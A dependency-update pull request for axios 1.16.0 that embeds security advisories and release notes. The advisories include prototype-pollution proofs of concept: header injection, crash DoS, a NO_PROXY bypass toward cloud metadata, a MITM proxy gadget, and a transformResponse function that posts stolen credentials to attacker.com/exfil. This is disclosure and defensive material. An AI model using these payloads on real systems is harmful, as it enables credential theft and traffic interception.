Skip to content

chore(deps): update dependency axios to v1.16.0 [security]#1930

Merged
B4nan merged 1 commit into
masterfrom
renovate/npm-axios-vulnerability
Jun 1, 2026
Merged

chore(deps): update dependency axios to v1.16.0 [security]#1930
B4nan merged 1 commit into
masterfrom
renovate/npm-axios-vulnerability

Conversation

@renovate
Copy link
Copy Markdown
Contributor

@renovate renovate Bot commented Jun 1, 2026

ℹ️ Note

This PR body was truncated due to platform limits.

This PR contains the following updates:

Package Change Age Confidence
axios (source) 1.15.01.16.0 age confidence

axios has DoS & Header Injection via Prototype Pollution Read-Side Gadgets in axios merge functions

CVE-2026-44490 / GHSA-898c-q2cr-xwhg

More information

Details

Summary

axios 1.15.2 exposes two read-side prototype-pollution gadgets. When Object.prototype is polluted by an upstream dependency in the same process (e.g. lodash _.merge / CVE-2018-16487), axios silently picks up the polluted values:

  1. Header injection - lib/utils.js line 406 builds merge()'s accumulator as result = {}, so result[targetKey] (line 414) walks Object.prototype and the polluted bucket's own keys are copied into the merged headers and ride out on the wire.
  2. Crash DoS - lib/core/mergeConfig.js line 26 builds the hasOwnProperty descriptor as a plain-object literal. Object.defineProperty reads descriptor.get/descriptor.set via the prototype chain, so a polluted Object.prototype.get or Object.prototype.set makes the call throw TypeError synchronously on every axios request.
Affected Properties
Polluted slot Effect
Object.prototype.common injects headers on every method
Object.prototype.delete / .head / .post / .put / .patch / .query injects headers on the matching method
Object.prototype.get every axios request throws TypeError: Getter must be a function from mergeConfig.js:26
Object.prototype.set every axios request throws TypeError: Setter must be a function from mergeConfig.js:26

Per-request headers (axios.request(url, { headers: {...} })) overwrite polluted entries. Polluting Object.prototype.get triggers the crash before any header is built.

Proof of Concept
const axios = require('axios');

// Finding A - header injection
Object.prototype.common = { 'X-Poisoned': 'yes' };
await axios.get('http://api.example.com/users');
// Wire request carries `X-Poisoned: yes`.

// Finding B - crash DoS
Object.prototype.get = { something: 'anything' };
await axios.get('http://api.example.com/users');
// TypeError: Getter must be a function: #<Object>
//     at Function.defineProperty (<anonymous>)
//     at mergeConfig (lib/core/mergeConfig.js:26:10)
Impact
  • Server hang (Content-Length: 99999): receiver waits for a body that never arrives. Affects requests with a body.
  • CL+TE conflict (Transfer-Encoding: chunked rides alongside axios's auto Content-Length): receiver rejects with 400 Bad Request. Affects requests with a body.
  • Response suppression (If-None-Match: *): receiver returns empty 304 Not Modified. Affects GET / HEAD.
  • Crash DoS (Object.prototype.get / .set): every axios request fails synchronously with TypeError, not AxiosError, so handlers filtering on error.isAxiosError mishandle the failure.
Attack Flow
flowchart TD
    ROOT["Polluted Object.prototype<br/>via upstream gadget (e.g. lodash &lt;= 4.17.10 _.merge / CVE-2018-16487)<br/>axios &lt;= 1.15.2"]

    ROOT --> CLASS_A["A. Arbitrary HTTP Header Injection<br/>Polluted defaults.headers slot rides along on every outbound axios request"]
    ROOT --> CLASS_B["B. Crash DoS via Object.prototype.get / .set<br/>Polluted descriptor breaks Object.defineProperty in mergeConfig"]

    CLASS_A --> PRE_A["Precondition: header not set per-request by the app<br/>Injected via defaults.headers slot<br/>(common, delete, head, post, put, patch, query)"]

    PRE_A --> PA1["Response Suppression<br/>Trigger: common = {If-None-Match: *}<br/>Affects GET / HEAD"]
    PA1 --> SA1["DoS<br/>304 Not Modified empty"]

    PRE_A --> PA2["Server Hang<br/>Trigger: common = {Content-Length: 99999}<br/>Affects requests with body"]
    PA2 --> SA2["DoS<br/>connection hang"]

    PRE_A --> PA3["CL+TE Conflict<br/>Trigger: common = {Transfer-Encoding: chunked}<br/>Affects requests with body"]
    PA3 --> SA3["DoS<br/>400 Bad Request"]

    CLASS_B --> SB1["DoS<br/>TypeError: Getter / Setter must be a function<br/>Crashes every axios request, not only GET"]

    %% Styles
    style ROOT fill:#f87171,stroke:#&#8203;991b1b,color:#fff
    style CLASS_A fill:#fb923c,stroke:#&#8203;9a3412,color:#fff
    style CLASS_B fill:#fb923c,stroke:#&#8203;9a3412,color:#fff
    style PRE_A fill:#e2e8f0,stroke:#&#8203;64748b,color:#&#8203;1e293b
    style PA1 fill:#fbbf24,stroke:#&#8203;92400e,color:#&#8203;000
    style PA2 fill:#fbbf24,stroke:#&#8203;92400e,color:#&#8203;000
    style PA3 fill:#fbbf24,stroke:#&#8203;92400e,color:#&#8203;000
    style SA1 fill:#ef4444,stroke:#&#8203;991b1b,color:#fff
    style SA2 fill:#ef4444,stroke:#&#8203;991b1b,color:#fff
    style SA3 fill:#ef4444,stroke:#&#8203;991b1b,color:#fff
    style SB1 fill:#ef4444,stroke:#&#8203;991b1b,color:#fff
Loading
Root Cause

Finding A. lib/utils.js:404-429's merge() creates result = {} at line 406. The dangerous-keys filter on lines 408-411 blocks the write side, but the read at line 414 (isPlainObject(result[targetKey])) still walks the prototype chain. When targetKey matches a polluted slot, result[targetKey] returns the polluted nested object, and the recursive merge(result[targetKey], val) on line 415 iterates that object's own keys via forEach and copies them as own properties into the new accumulator. Those keys flow through mergeConfig.js:35Axios.js:148 (utils.merge(headers.common, headers[config.method])) → Axios.js:155 (AxiosHeaders.concat(...)) → onto the wire via http.js:677 (headers: headers.toJSON()) → http.js:767 (transport.request(options, ...)).

Finding B. lib/core/mergeConfig.js:25 correctly makes config = Object.create(null), but the descriptor passed on line 26 is a plain-object literal - its get/set lookups walk Object.prototype. A polluted non-function Object.prototype.get or .set makes Object.defineProperty throw TypeError: Getter must be a function (or Setter must be a function) before the call returns. The descriptor is built unconditionally on every mergeConfig invocation, so every axios request throws - POST, PUT, DELETE, PATCH, HEAD, QUERY, not only GET.

Suggested Fix

Use null-prototype objects in place of the plain-object literals at lib/utils.js:406 and lib/core/mergeConfig.js:26-31. The same descriptor pattern recurs at lib/core/AxiosError.js:37, lib/core/AxiosHeaders.js:100, lib/utils.js:447/454/492/498, and lib/adapters/adapters.js:28/32.

Resources
  • CVE-2018-16487 - lodash.merge prototype pollution in lodash <= 4.17.10
  • CWE-1321 - Improperly Controlled Modification of Object Prototype Attributes

Severity

  • CVSS Score: 4.8 / 10 (Medium)
  • Vector String: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:L/A:L

References

This data is provided by the GitHub Advisory Database (CC-BY 4.0).


axios's shouldBypassProxy does not recognize IPv4-mapped IPv6 addresses, allowing NO_PROXY bypass (incomplete fix for CVE-2025-62718)

CVE-2026-44492 / GHSA-pjwm-pj3p-43mv

More information

Details

Summary

shouldBypassProxy, introduced in v1.15.0 to fix CVE-2025-62718, does not normalise IPv4-mapped IPv6 addresses. When NO_PROXY lists an IPv4 address such as 127.0.0.1 or 169.254.169.254, a request URL using the IPv4-mapped IPv6 form (::ffff:7f00:1, ::ffff:a9fe:a9fe) still routes through the configured proxy. Node.js resolves these addresses to the underlying IPv4 host, so the request reaches the internal service via the proxy rather than being blocked.

Details

lib/helpers/shouldBypassProxy.js (v1.15.0):

  const LOOPBACK_ADDRESSES = new Set(['localhost', '127.0.0.1', '::1']);                                                                                                      
  const isLoopback = (host) => LOOPBACK_ADDRESSES.has(host);                                                                                                                    
                                                                                                                                                                                
  // normalizeNoProxyHost strips brackets and trailing dots, but not ::ffff: prefix                                                                                             
  return hostname === entryHost || (isLoopback(hostname) && isLoopback(entryHost));                                                                                             

The WHATWG URL parser canonicalises http://[::ffff:127.0.0.1]/ to hostname [::ffff:7f00:1]. After bracket-stripping: ::ffff:7f00:1. This string does not match 127.0.0.1 in NO_PROXY and is not in LOOPBACK_ADDRESSES, so shouldBypassProxy returns false and the proxy is used. proxy-from-env (called before shouldBypassProxy) has the same gap - it does not equate ::ffff:7f00:1 with 127.0.0.1 - so neither layer catches the bypass.

PoC
// NO_PROXY=127.0.0.1,localhost,::1  HTTP_PROXY=http://attacker:8080
import shouldBypassProxy from 'axios/lib/helpers/shouldBypassProxy.js';                                                                                                       
                                                                                                                                                                              
// All three should return true (bypass proxy). Only the first two do.                                                                                                        
console.log(shouldBypassProxy('http://127.0.0.1/'));          // true  [OK]                                                                                                     
console.log(shouldBypassProxy('http://[::1]/'));               // true  [OK]                                                                                                     
console.log(shouldBypassProxy('http://[::ffff:127.0.0.1]/')); // false <- bypass                                                                                             
console.log(shouldBypassProxy('http://[::ffff:7f00:1]/'));     // false <- bypass

Node.js routes ::ffff:7f00:1 to 127.0.0.1:

// net.connect({ host: '::ffff:7f00:1', port: 80 }) reaches a service                                                                                                       
// bound to 127.0.0.1:80 — confirmed on Node.js v24, Linux and macOS.                                                                                                         

Cloud metadata SSRF: ::ffff:a9fe:a9fe = ::ffff:169.254.169.254. If NO_PROXY=169.254.169.254 is set to block IMDS access, a request to http://[::ffff:a9fe:a9fe]/latest/meta-data/ bypasses it.

Fix

Canonicalise IPv4-mapped IPv6 in normalizeNoProxyHost before any comparison:

const ipv4MappedDotted = /^::ffff:(\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3})$/i;                                                                                                    
const ipv4MappedHex    = /^::ffff:([0-9a-f]{1,4}):([0-9a-f]{1,4})$/i;                                                                                                         
                                                                                                                                                                             
function hexToIPv4(a, b) {                                                                                                                                                    
 const hi = parseInt(a, 16), lo = parseInt(b, 16);                                                                                                                           
 return `${hi >> 8}.${hi & 0xff}.${lo >> 8}.${lo & 0xff}`;                                                                                                                   
}                                                                                                                                                                             
                                                                                                                                                                             
const normalizeNoProxyHost = (hostname) => {                                                                                                                                  
 if (!hostname) return hostname;                                                                                                                                           
 if (hostname[0] === '[' && hostname.at(-1) === ']')
   hostname = hostname.slice(1, -1);                                                                                                                                         
 hostname = hostname.replace(/\.+$/, '').toLowerCase();
                                                                                                                                                                             
 let m;                                                                                                                                                                    
 if ((m = hostname.match(ipv4MappedDotted))) return m[1];                                                                                                                    
 if ((m = hostname.match(ipv4MappedHex)))    return hexToIPv4(m[1], m[2]);                                                                                                   
 return hostname;                                                                                                                                                            
};
Impact

Any application that sets NO_PROXY to exclude internal or metadata endpoints and uses an HTTP/HTTPS proxy can have those exclusions bypassed by a URL using IPv4-mapped IPv6 notation. The attacker must control the request URL. In cloud environments with instance metadata services, this can lead to credential exfiltration.

Severity

  • CVSS Score: 8.6 / 10 (High)
  • Vector String: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N

References

This data is provided by the GitHub Advisory Database (CC-BY 4.0).


axios Vulnerable to Full Man-in-the-Middle via Prototype Pollution Gadget in config.proxy

CVE-2026-44494 / GHSA-35jp-ww65-95wh

More information

Details

Vulnerability Disclosure: Full Man-in-the-Middle via Prototype Pollution Gadget in config.proxy
Summary

The Axios library is vulnerable to a Prototype Pollution "Gadget" attack that allows any Object.prototype pollution in the application's dependency tree to be escalated into a full Man-in-the-Middle (MITM) attack — intercepting, reading, and modifying all HTTP traffic including authentication credentials.

The HTTP adapter at lib/adapters/http.js:670 reads config.proxy via standard property access, which traverses the prototype chain. Because proxy is not present in Axios defaults, the merged config object has no own proxy property, making it trivially injectable via prototype pollution. Once injected, setProxy() routes all HTTP requests through the attacker's proxy server.

Unlike the transformResponse gadget (which is constrained by assertOptions to return true), the proxy gadget has zero constraints — the attacker gets a full MITM position with the ability to read all credentials and tamper with all responses.

Severity: Critical (CVSS 9.4)
Affected Versions: All versions (v0.x - v1.x including v1.15.0)
Vulnerable Component: lib/adapters/http.js (config property access on merged object)

CWE
  • CWE-1321: Improperly Controlled Modification of Object Prototype Attributes ('Prototype Pollution')
  • CWE-441: Unintended Proxy or Intermediary ('Confused Deputy')
CVSS 3.1

Score: 9.4 (Critical)

Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:L

Metric Value Justification
Attack Vector Network PP is triggered remotely via any vulnerable dependency
Attack Complexity Low Once PP exists, single property assignment: Object.prototype.proxy = {host:'attacker', port:8080}. Consistent with GHSA-fvcv-3m26-pcqx scoring methodology
Privileges Required None No authentication needed
User Interaction None No user interaction required
Scope Unchanged MITM within the application's network context
Confidentiality High Attacker sees ALL request data: Authorization headers, auth credentials, cookies, request bodies, full URLs (including internal hostnames)
Integrity High Attacker can modify ALL responses: inject malicious data, alter API results, redirect authentication flows. No constraints — unlike transformResponse which must return true
Availability Low Attacker could drop requests or return errors, but this is secondary to C/I impact
Why This Bypasses mergeConfig

The critical difference from transformResponse: the proxy property is not in defaults (lib/defaults/index.js does not set proxy). This means:

  1. mergeConfig iterates Object.keys({...defaults, ...userConfig})proxy is NOT in this set
  2. defaultToConfig2 for proxy is never called
  3. The merged config has no own proxy property
  4. When http.js:670 reads config.proxy, JavaScript traverses the prototype chain
  5. Object.prototype.proxy is found → used by setProxy()

This is a more direct attack path than transformResponse because it doesn't even go through mergeConfig's merge logic — it completely bypasses it.

Usage of "Helper" Vulnerabilities

This vulnerability requires Zero Direct User Input.

If an attacker can pollute Object.prototype via any other library in the stack (e.g., qs, minimist, lodash, body-parser), Axios will automatically use the polluted proxy value when making HTTP requests. The developer's code is completely safe — no configuration errors needed.

Proof of Concept
1. The Setup (Simulated Pollution)

Imagine a scenario where a known prototype pollution vulnerability exists in a query parser. The attacker sends a payload that sets:

Object.prototype.proxy = {
  host: 'attacker.com',
  port: 8080,
  protocol: 'http',
};
2. The Gadget Trigger (Safe Code)

The application makes a completely safe, hardcoded request:

// This looks safe to the developer — no proxy configured
const response = await axios.get('https://api.internal.corp/secrets', {
  auth: { username: 'svc-account', password: 'prod-key-abc123!' }
});
3. The Execution

At http.js:668-670:

setProxy(
  options,
  config.proxy,    // ← traverses prototype chain → finds polluted proxy
  protocol + '//' + parsed.hostname + (parsed.port ? ':' + parsed.port : '') + options.path
);

setProxy() at http.js:191-239 then:

function setProxy(options, configProxy, location) {
  let proxy = configProxy;    // = { host: 'attacker.com', port: 8080 }
  // ...
  if (proxy) {
    options.hostname = proxy.hostname || proxy.host;  // → 'attacker.com'
    options.port = proxy.port;                         // → 8080
    options.path = location;                           // → full URL as path
    // ...
  }
}
4. The Impact (Full MITM)

The attacker's proxy server receives:

GET http://api.internal.corp/secrets HTTP/1.1
Host: api.internal.corp
Authorization: Basic c3ZjLWFjY291bnQ6cHJvZC1rZXktYWJjMTIzIQ==
User-Agent: axios/1.15.0
Accept: application/json, text/plain, */*

The Authorization header contains svc-account:prod-key-abc123! in Base64. The attacker:

  • Sees every request URL, header, and body
  • Modifies every response (inject malicious data, change auth results)
  • Logs all API keys, session tokens, and passwords
  • Operates as an invisible proxy — the developer has no indication
5. Verified PoC Code
import http from 'http';
import axios from './index.js';

// Attacker's proxy server
const intercepted = [];
const proxyServer = http.createServer((req, res) => {
  intercepted.push({
    url: req.url,
    authorization: req.headers.authorization,
    headers: req.headers,
  });
  res.writeHead(200, { 'Content-Type': 'application/json' });
  res.end('{"hijacked":true}');
});
await new Promise(r => proxyServer.listen(0, r));
const proxyPort = proxyServer.address().port;

// Real target server
const realServer = http.createServer((req, res) => {
  res.writeHead(200);
  res.end('{"data":"real"}');
});
await new Promise(r => realServer.listen(0, r));
const realPort = realServer.address().port;

// Prototype pollution
Object.prototype.proxy = { host: '127.0.0.1', port: proxyPort, protocol: 'http' };

// "Safe" request — goes through attacker's proxy
const resp = await axios.get(`http://127.0.0.1:${realPort}/api/secrets`, {
  auth: { username: 'admin', password: 'SuperSecret123!' }
});

console.log('Response from:', resp.data.hijacked ? 'ATTACKER PROXY' : 'real server');
console.log('Intercepted Authorization:', intercepted[0]?.authorization);
// Output: Basic YWRtaW46U3VwZXJTZWNyZXQxMjMh (= admin:SuperSecret123!)

delete Object.prototype.proxy;
realServer.close();
proxyServer.close();
Verified PoC Output
[1] Normal request (before pollution):
    Response source: real server
    response.data: {"data":"from-real-server"}
    Proxy intercept count: 0

[2] Prototype Pollution: Object.prototype.proxy
    Set: Object.prototype.proxy = { host: "127.0.0.1", port: 50879 }

[3] Request after pollution (same code, same URL):
    Response source: ATTACKER PROXY!
    response.data: {"data":"from-attacker-proxy","hijacked":true}

[4] Data intercepted by attacker's proxy:
    Full URL: http://127.0.0.1:50878/api/secrets
    Host: 127.0.0.1:50878
    Authorization: Basic YWRtaW46U3VwZXJTZWNyZXQxMjMh
    All headers: {
      "accept": "application/json, text/plain, */*",
      "user-agent": "axios/1.15.0",
      "accept-encoding": "gzip, compress, deflate, br",
      "host": "127.0.0.1:50878",
      "authorization": "Basic YWRtaW46U3VwZXJTZWNyZXQxMjMh",
      "connection": "keep-alive"
    }

[5] Attacker capabilities demonstrated:
    ✓ Full URL visible (including internal hostnames)
    ✓ Authorization header visible (Base64-encoded credentials)
    ✓ Can modify/forge response data
    ✓ Affects ALL axios HTTP requests (not just a single instance)
    ✓ No assertOptions constraints (unlike transformResponse gadget)
Impact Analysis
  • Full Credential Interception: Every HTTP request's Authorization header, cookies, API keys, and request bodies are visible to the attacker's proxy in plaintext.
  • Arbitrary Response Tampering: The attacker can return any response data — no constraints like transformResponse's "must return true".
  • Internal Network Reconnaissance: The proxy sees all request URLs, revealing internal hostnames, ports, and API paths.
  • Universal Scope: Affects every axios HTTP request in the application, including all third-party libraries that use axios.
  • Invisible Attack: The developer has no indication that a proxy has been injected — requests complete normally with attacker-controlled responses.
  • Bypass of 1.15.0 Fix: The header sanitization patch in v1.15.0 (GHSA-fvcv-3m26-pcqx) does NOT address this vector.
Why This Is More Severe Than transformResponse (axios_26)
Dimension transformResponse Gadget proxy Gadget
Data access this.auth + response data All headers, auth, body, URL, response
Response control Must return true Arbitrary responses
Attack visibility Response becomes true (suspicious) Normal-looking responses (invisible)
mergeConfig involvement Goes through defaultToConfig2 Bypasses mergeConfig entirely
Recommended Fix
Fix 1: Use hasOwnProperty when reading security-sensitive config properties
// In lib/adapters/http.js
const proxy = Object.prototype.hasOwnProperty.call(config, 'proxy') ? config.proxy : undefined;
setProxy(options, proxy, location);
Fix 2: Enumerate all properties not in defaults and apply hasOwnProperty

Properties not in defaults that are read by http.js and have security impact:

  • config.proxy — MITM
  • config.socketPath — Unix socket SSRF
  • config.transport — request hijack
  • config.lookup — DNS hijack
  • config.beforeRedirect — redirect manipulation
  • config.httpAgent / config.httpsAgent — agent injection

All should use hasOwnProperty checks.

Fix 3: Use null-prototype object for merged config
// In lib/core/mergeConfig.js
const config = Object.create(null);
Resources
Timeline
Date Event
2026-04-16 Vulnerability discovered during source code audit
2026-04-16 PoC developed and verified — full MITM confirmed
TBD Report submitted to vendor via GitHub Security Advisory

Severity

  • CVSS Score: 8.7 / 10 (High)
  • Vector String: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:H/I:H/A:N

References

This data is provided by the GitHub Advisory Database (CC-BY 4.0).


axios Vulnerable to Credential Theft and Response Hijacking via Prototype Pollution Gadget in Config Merge

CVE-2026-44495 / GHSA-3g43-6gmg-66jw

More information

Details

Summary

Axios versions before the fixed releases contain prototype-pollution gadgets in request config processing. If another vulnerability in the same JavaScript process has already polluted Object.prototype.transformResponse, affected Axios versions may treat that inherited value as request configuration or as an option validator.

Axios does not itself create the prototype pollution. Exploitability requires a separate prototype-pollution vulnerability or equivalent attacker control over Object.prototype before Axios creates a request.

Impact

For ordinary prototype-pollution primitives that can only assign JSON-like values, this issue primarily results in request failures or denial-of-service attacks.

If the attacker can pollute Object.prototype.transformResponse with a function, affected versions of Axios may execute it. In fully affected versions, the function can observe response data and request config, including URL, headers, and auth, and can change the response data returned to application code.

This function-valued condition is important. Most query-string or JSON parser prototype-pollution bugs cannot create JavaScript functions on their own, so credential exposure and response tampering are conditional rather than automatic consequences of such bugs.

Affected Functionality

The affected functionality is Axios request config processing and response transformation.

Affected use requires all of the following:

  • An affected Axios version.
  • A polluted Object.prototype in the same process or browser context.
  • Pollution before Axios merges or validates the request config.
  • A polluted key relevant to Axios config, especially transformResponse.

This is not specific to the Node HTTP adapter. Browser and Node usage can both pass through the shared config/transform pipeline, though real-world exploitability depends on the surrounding application and any helper vulnerabilities.

Technical Details

In affected versions, mergeConfig() reads config values through normal property access. For config keys present in Axios defaults, including transformResponse, a missing own property on the request config can fall through to Object.prototype.

In the fully affected path, this means Object.prototype.transformResponse can replace Axios's default response transform. The selected transform is later executed by transformData() with the request config as this.

Some later affected v1 releases guarded the merge path but still used inherited properties while looking up validators in validator.assertOptions(). In that narrower case, a polluted function can still run during config validation and inspect the config argument, but it does not replace the response transform.

Fixed versions use own-property checks and null-prototype config objects, so inherited Object.prototype values are not treated as Axios config or validator schema entries.

Proof of Concept of Attack
import http from 'http';
import axios from 'axios';

const seen = [];

const server = http.createServer((req, res) => {
  res.setHeader('Content-Type', 'application/json');
  res.end(JSON.stringify({ secret: 'response-secret' }));
});

await new Promise(resolve => server.listen(0, '127.0.0.1', resolve));

Object.prototype.transformResponse = function pollutedTransform(data, headers, status) {
  if (headers && typeof status === 'number') {
    seen.push({
      url: this.url,
      username: this.auth && this.auth.username,
      password: this.auth && this.auth.password,
      responseData: data
    });

    return { hijacked: true };
  }

  return true;
};

try {
  const { port } = server.address();

  const response = await axios.get(`http://127.0.0.1:${port}/users`, {
    auth: { username: 'svc-account', password: 'prod-secret-key-123' }
  });

  console.log(response.data); // { hijacked: true }
  console.log(seen[0]);       // request config plus original response body
} finally {
  delete Object.prototype.transformResponse;

  server.close();
}

Expected result on fully affected versions: the polluted transform runs, captures request config and response data, and replaces the response returned to the caller.

Expected result on fixed versions: the polluted transform is ignored, and the original response is returned.

Original source report
Summary

The Axios library is vulnerable to a Prototype Pollution "Gadget" attack that allows any Object.prototype pollution in the application's dependency tree to be escalated into credential theft and response hijacking across all Axios requests.

The mergeConfig() function reads config properties via standard property access (config2[prop]), which traverses the JavaScript prototype chain. When Object.prototype.transformResponse is polluted with a function, it overrides the default JSON response parser for every request. The injected function executes with this = config, exposing auth.username, auth.password, request URL, and all headers.

Severity: High (CVSS 8.2)
Affected Versions: All versions (v0.x - v1.x including v1.15.0)
Vulnerable Component: lib/core/mergeConfig.js (Config Merge) + lib/core/transformData.js (Transform Execution)

CWE
  • CWE-1321: Improperly Controlled Modification of Object Prototype Attributes ('Prototype Pollution')
CVSS 3.1

Score: 9.4 (High)

Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:L/A:H

Metric Value Justification
Attack Vector Network PP is triggered remotely via any vulnerable dependency
Attack Complexity Low Once PP exists, a single property assignment exploits axios. Consistent with GHSA-fvcv-3m26-pcqx scoring
Privileges Required None No authentication needed
User Interaction None No user interaction required
Scope Unchanged Credential theft occurs within the same application process
Confidentiality High this.auth.password, this.url, original response data all exfiltrated
Integrity Low Response data is replaced with true — attacker cannot return arbitrary data due to assertOptions constraint (see below)
Availability High Polluting with an array value causes TypeError: validator is not a function crash (DoS) on every request
Relationship to GHSA-fvcv-3m26-pcqx

This vulnerability is in the same class as GHSA-fvcv-3m26-pcqx ("Unrestricted Cloud Metadata Exfiltration via Header Injection Chain"), which was also a PP gadget in axios rated Critical. Both require zero direct user input and exploit mergeConfig's prototype chain traversal.

Factor GHSA-fvcv-3m26-pcqx This Vulnerability
Attack vector PP → Header injection → Request smuggling PP → Transform function override → Credential theft
Fixed by 1.15.0 header sanitization? Yes No — different code path
Affects Requests using form-data package All requests (transformResponse is in defaults)
Impact AWS IMDSv2 bypass, cloud compromise Credential theft (auth, API keys), response hijacking, DoS
Usage of "Helper" Vulnerabilities

This vulnerability requires Zero Direct User Input.

If an attacker can pollute Object.prototype via any other library in the stack (e.g., qs, minimist, lodash, body-parser), Axios will automatically pick up the polluted transformResponse property during its config merge.

The critical difference from GHSA-fvcv-3m26-pcqx: this vector was NOT fixed by the header sanitization patch in v1.15.0, because it does not use headers at all — it injects a function into the response processing pipeline.

Proof of Concept
1. The Setup (Simulated Pollution)

Imagine a scenario where a known vulnerability exists in a query parser. The attacker sends a payload that sets:

Object.prototype.transformResponse = function(data, headers, status) {
  // Steal credentials via this context (this = full request config)
  if (this && this.url && typeof data === 'string') {
    fetch('https://attacker.com/exfil', {
      method: 'POST',
      body: JSON.stringify({
        url: this.url,
        username: this.auth?.username,
        password: this.auth?.password,
        responseData: data,
      })
    });
  }
  return true;  // MUST return true to pass assertOptions validator check
};

Important constraint: The polluted value must be a function returning true, not an array. If an array is used, assertOptions() at validator.js:89-92 crashes with TypeError: validator is not a function (which is still a DoS vector). The function must return true because validator.js:93 checks result !== true.

2. The Gadget Trigger (Safe Code)

The application makes a completely safe, hardcoded request:

// This looks safe to the developer
const response = await axios.get('https://api.internal/users', {
  auth: { username: 'svc-account', password: 'prod-secret-key-123!' }
});
3. The Execution

Axios's mergeConfig() at mergeConfig.js:99-103 iterates config keys:

utils.forEach(Object.keys({...config1, ...config2}), function computeConfigValue(prop) {
  // 'transformResponse' is in config1 (defaults) → included in keys
  const merge = mergeMap[prop];  // → defaultToConfig2
  const configValue = merge(config1[prop], config2[prop], prop);
  // config2['transformResponse'] traverses prototype → finds polluted function!
});

The polluted function then executes at transformData.js:21:

data = fn.call(config, data, headers.normalize(), response ? response.status : undefined);
// fn = attacker's function, this = config (containing auth credentials)
4. The Impact
Attacker receives at https://attacker.com/exfil:

{
  "url": "https://api.internal/users",
  "username": "svc-account",
  "password": "prod-secret-key-123!",
  "responseData": "{\"users\":[{\"id\":1,\"role\":\"admin\"}]}"
}

The response data seen by the application is true (the required return value), which will likely cause the application to malfunction but will not reveal the theft.

5. DoS Variant
// Array pollution crashes every request
Object.prototype.transformResponse = [function(d) { return d; }];

await axios.get('https://any-url.com');
// → TypeError: validator is not a function
// Every request in the application crashes
Verified PoC Output
Step 1 - Normal behavior (before pollution):  
    Default transformResponse function name: "transformResponse"

Step 2 - Polluting Object.prototype.transformResponse:  
    Function replaced by attacker: true

Step 3 - Simulating dispatchRequest transformResponse:  
    Original server response: {"secret_key":"sk-prod-a1b2c3d4","internal_ip":"10.0.0.5"}  
    After malicious transform: true  
    Response tampered: true

Step 4 - Exfiltrated data:  
    Original response data: {"secret_key":"sk-prod-a1b2c3d4","internal_ip":"10.0.0.5"}  
    Request URL: https://internal-api.corp/secrets  
    Authentication info: {"username":"admin","password":"P@ssw0rd123!"}
Impact Analysis
  • Credential Theft: this.auth.username, this.auth.password, this.headers.Authorization, and all other config properties are accessible to the injected function. The attacker can exfiltrate them to an external server.
  • Response Data Exfiltration: The original server response (data parameter) is available to the injected function before being replaced.
  • Universal Scope: Affects every axios request in the application, including all third-party libraries that use axios.
  • Denial of Service: Polluting with a non-function value crashes every request.
  • Bypass of 1.15.0 Fix: The header sanitization patch in v1.15.0 (GHSA-fvcv-3m26-pcqx fix) does not address this vector.
Limitations (Honest Assessment)
  • Requires a separate prototype pollution vulnerability elsewhere in the dependency tree
  • Response data cannot be arbitrarily tampered — the function must return true to pass assertOptions
  • This is in-process JavaScript function execution, not OS-level RCE
Recommended Fix

Use hasOwnProperty checks in defaultToConfig2 to prevent prototype chain traversal:

// In lib/core/mergeConfig.js
function defaultToConfig2(a, b, prop) {
  if (Object.prototype.hasOwnProperty.call(config2, prop) && !utils.isUndefined(b)) {
    return getMergedValue(undefined, b);
  } else if (!utils.isUndefined(a)) {
    return getMergedValue(undefined, a);
  }
}

Additionally, validate that transformResponse contains only functions before execution:

// In lib/core/transformData.js
utils.forEach(fns, function transform(fn) {
  if (typeof fn !== 'function') {
    throw new AxiosError('Transform must be a function', AxiosError.ERR_BAD_OPTION);
  }
  data = fn.call(config, data, headers.normalize(), response ? response.status : undefined);
});
Resources
Timeline
Date Event
2026-04-15 Vulnerability discovered during source code audit
2026-04-15 Initial PoC developed (array payload — crashes at validator.js)
2026-04-16 PoC corrected (function payload returning true — works)
2026-04-16 Report revised with accurate constraints
TBD Report submitted to vendor via GitHub Security Advisory

Severity

  • CVSS Score: 7.0 / 10 (High)
  • Vector String: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:L/A:L

References

This data is provided by the GitHub Advisory Database (CC-BY 4.0).


Release Notes

axios/axios (axios)

v1.16.0

Compare Source

v1.16.0 — May 2, 2026

This release adds support for the QUERY HTTP method and a new ECONNREFUSED error constant, lands a substantial wave of HTTP, fetch, and XHR adapter bug fixes around redirects, aborts, headers, and timeouts, and welcomes 23 new contributors.

⚠️ Notable Changes

A handful of fixes in this release are either security-adjacent or change observable behaviour. Please review before upgrading:

  • Fetch adapter now enforces maxBodyLength and maxContentLength. These limits were silently ignored on the fetch adapter prior to 1.16.0 — anyone relying on them as a safety net (DoS protection, accidental large uploads) had no protection. (#​10795)
  • Proxy requests now preserve user-supplied Host headers. Previously, the proxy path could overwrite a custom Host. Virtual-host-style routing through a proxy will now behave correctly. (#​10822)
  • Basic auth credentials embedded in URLs are now URL-decoded. If you have percent-encoded credentials in a URL (e.g. https://user:p%40ss@host), the decoded value is what now goes on the wire. (#​10825)
  • parseProtocol now strictly requires a colon in the protocol separator. Strings that loosely parsed as protocols before may no longer match. (#​10729)
  • Deprecated unescape() replaced with modern UTF-8 encoding. Non-ASCII URL handling is now spec-correct; consumers depending on legacy unescape() quirks may see different output bytes. (#​7378)
  • transformRequest input typing change was reverted. The typing change introduced in #​10745 was reverted in #​10810 after follow-up review — net behavior is unchanged from 1.15.2. (#​10745, #​10810)

🚀 New Features

  • QUERY HTTP Method: Added support for the QUERY HTTP method across adapters and type definitions. (#​10802)
  • ECONNREFUSED Error Constant: Exposed ECONNREFUSED as a constant on AxiosError so callers can match connection-refused failures without comparing string literals (closes #​6485). (#​10680)
  • Encode Helper Export: Exported the internal encode helper from buildURL so userland param serializers can reuse the same encoding logic that axios uses internally. (#​6897)

🐛 Bug Fixes

  • HTTP Adapter — Redirects & Headers: Cleared stale headers when a redirect targets a no-proxy host, fixed the redirect listener chain so listeners no longer stack across hops, restored the missing requestDetails argument on beforeRedirect, preserved user-supplied Host headers when forwarding through a proxy, and properly URL-decoded basic auth credentials. (#​10794, #​10800, #​6241, #​10822, #​10825)
